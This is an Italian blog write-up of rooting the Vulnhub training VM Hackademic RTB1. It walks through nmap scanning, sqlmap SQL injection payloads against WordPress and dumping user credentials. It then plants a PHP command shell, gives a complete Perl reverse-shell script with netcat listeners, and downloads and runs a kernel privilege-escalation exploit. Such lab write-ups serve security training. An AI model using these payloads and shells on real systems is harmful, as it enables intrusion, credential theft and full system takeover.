Da Wordpress a root con Hackademic

Tempo di lettura: 8 minuti

Imparare a sfruttare le vulnerabilità su macchine di prova permette di potersi allenare e poter, in un futuro, riuscire a trovarle su dispositivi reali, con tutte le difficoltà collegate ad esse. In questo articolo andremo a violare la macchina virtuale Hackademic RTB1, ideata nell’ormai lontano 2011 da mr.pr0n e catalogata grazie a Vulnhub.

Per chi non sapesse di cosa stiamo parlando, consiglio di iniziare da Kioptrix 1.

Scansione

Dopo aver creato la macchina virtuale, eseguo subito una scansione dell’host per osservare le porte aperte e trovare i servizi attaccabili

mrtouch@mrtouch:~$ sudo nmap -sTUV 192.168.56.101

Nmap scan report for 192.168.56.101
Host is up (0.00030s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.15 (Fedora)
|_http-title: Hackademic.RTB1  
MAC Address: 08:00:27:3D:9E:5F (Oracle VirtualBox virtual NIC)
Device type: media device|general purpose|WAP|storage-misc
Running (JUST GUESSING): Linux 2.6.X|3.X|2.4.X (97%)

Il servizio sulla porta 80 indica chiaramente un server web attivo e funzionante, quindi apro il browser ed inserisco l’indirizzo IP della macchina

Home paghe Hackademic
Home paghe Hackademic

Exploit di Wordpress

Grazie al plugin Wappalyzer vediamo che il sito è basato sul famoso CMS Wordpress e il sistema operativo utilizzato è Fedora. Dopo aver navigato un pò nel sito, un url ha attirato la mia intenzione

http://192.168.56.101/Hackademic_RTB1/?cat=1

Se avete letto gli ultimi articoli di (in)sicurezza della applicazioni web, dovreste sapere che le richieste GET sono uno dei vettori più passibili di attacchi. Proviamo quindi ad avviare sqlmap e vedere se è vulnerabile ad un attacco SQL Injection.

mrtouch@mrtouch:~$ sqlmap -u http://192.168.56.101/Hackademic_RTB1/?cat=1 --dbs
------
Parameter: cat (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: cat=1 AND (SELECT 4489 FROM(SELECT COUNT(*),CONCAT(0x7178707871,(SELECT (ELT(4489=4489,1))),0x716a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cat=1 AND SLEEP(5)
------------
[22:19:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 13 (Goddard)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[22:19:05] [INFO] fetching database names
[22:19:05] [INFO] the SQL query used returns 3 entries
[22:19:05] [INFO] resumed: information_schema
[22:19:05] [INFO] resumed: mysql
[22:19:05] [INFO] resumed: wordpress
available databases [3]:
[*] information_schema
[*] mysql
[*] wordpress

È vulnerabile e abbiamo appena ricevuto informazioni in merito ai database presenti e ai software utilizzati. Per trovare gli utenti, il passo da fare è molto breve

mrtouch@mrtouch:~$ sqlmap -u http://192.168.56.101/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --columns --dump

Ecco che abbiamo in mano le password di tutti, amministratori e non.

Utenti di wordpress
Utenti di wordpress

Il livello sta ad indicare i permessi dell’utente, per cui andrò a loggarmi all’indirizzo /wp-login.php con GeorgeMiller. Chiaramente avere in mano il sito è solo il primo passo, siamo ben lontani dall’avere i permessi di root sul sistema!

Otteniamo una shell

Ora che abbiamo il controllo di Wordpress, scrivere del codice in PHP per eseguire comandi sul sistema è relativamente semplice. Basta modificare un qualsiasi file, scrivere il codice ed eseguire i comandi che vogliamo.

Il codice che ho utilizzato è questo.

Shell in php
Shell in php

Per eseguire i comandi sulla macchina basterà andare in http://192.168.56.101/Hackademic_RTB1/wp-content/plugins/hello.php ed inserire ciò che vogliamo.

http://192.168.56.101/Hackademic_RTB1/wp-content/plugins/hello.php?cmd=ls -la
Comando eseguito con la shell
Comando eseguito con la shell

Con qualche comando (uname -a, id, pwd) ottieniamo le informazioni del sistema e l’utente con cui siamo collegati, ossia apache. Teoricamente sarebbe anche possibile raggiungere i livelli di root senza avere una shell da terminale, ma la scomodità dell’eseguire comandi dalla barra degli indirizzi mi ha convinto a passare ad ottenerne una normale.

Essa viene solitamente definita reverse-shell e se ne trovano diverse in rete. Dal canto mio ho preferito utilizzarne una scritta in Perl, definita cosi

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("/bin/sh -i");

Per caricarla nel sito, basta abilitare l’opzione di Upload (Options->Miscellaneous->Allow File Uploads)

Abilitazione del upload
Abilitazione del upload

Il file verrà spostato nella cartella wp-content (http://192.168.56.101/Hackademic_RTB1/wp-content/), per essere sicuri che sia li basterà eseguire un ls tramite la shell da url

Per ottenere la shell dobbiamo ora eseguire due passaggi essenziali:

  1. Eseguire netcat sulla nostra macchina, che si porrà in ascolto su una porta definita da noi (possibilmente libera);
  2. Eseguire la shell in perl specificando l’indirizzo IP remoto e la porta (scelta prima).

Il primo comando sarà quindi

mrtouch@mrtouch:~$ nc -lvvp 3133

e mentre è in ascolto, nella barra degli indirizzi eseguo lo script in perl con questo comando

http://192.168.56.101/Hackademic_RTB1/wp-content/plugins/hello.php?cmd=perl ../../wp-content/shell.pl 192.168.56.1 3133

Ed ecco che nel terminale verrà aperta una connessione diretta con il dispositivo vulnerabile

Shell remota
Shell remota

Otteniamo i privilegi di root

Sebbene abbia provato ad analizzare vari file, sembra che l’unica possibilità sia quella di trovare una vulnerabilità nel sistema operativo e sfruttarla per ottenere i permessi. Ora l’account cui siamo in possesso è apache, il quale non ha molti privilegi.Visto che conosciamo la versione del kernel Linux (2.6.3), è possibile cercare gli exploit in diverse modalità, tra cui searchsploit, exploit-db o un qualsiasi motore di ricerca. Stranamente searchsploit non trova nulla, per cui passo ad una veloce ricerca in rete.

Ricerca con searchsploit
Ricerca con searchsploit

Dopo qualche tentativo ho trovato il file che potrebbe essere utile, il quale sfrutta una vulnerabilità nel protocollo RDS ed ottiene i permessi di root (si può trovare qui).

Per copiarlo dalla mia macchina al dispositivo vulnerabile, eseguo nuovamente netcat sul mio computer

mrtouch@mrtouch:~/Downloads$ cat 15285.c | nc -lv 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from [192.168.56.101] port 8000 [tcp/*] accepted (family 2, sport 58579)
GET / HTTP/1.0
User-Agent: Wget/1.12 (linux-gnu)
Accept: */*
Host: 192.168.56.1:8000
Connection: Keep-Alive

e contemporaneamente nel terminale di Hackademic prelievo il file con wget

sh-4.0$ wget 192.168.56.1:8000 -O /tmp/exploit.c
wget 192.168.56.1:8000 -O /tmp/exploit.c
--2017-05-08 00:27:19--  http://192.168.56.1:8000/
Connecting to 192.168.56.1:8000... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: `/tmp/exploit.c'

     0K ......                                                  193M=0s

2017-05-08 00:27:19 (193 MB/s) - `/tmp/exploit.c' saved [7157]

Una volta ricevuto, compilo con gcc, eseguo ed ecco che siamo root!

Permessi di root e key
Permessi di root e key

Conclusioni

Questa sfida è  un ottimo esempio di come una combinazione di software non aggiornati possa rivelarsi fatale per un sistema. Siamo passati dall’avere solo un indirizzo IP, abbiamo ottenuto tutto gli utenti e le relative password di Wordpress (quindi avevamo in mano tutto il sito) fino a raggiungere l’apice e poter copiare, spostare e rimuovere tutto ciò che potevamo sulla macchina della vittima.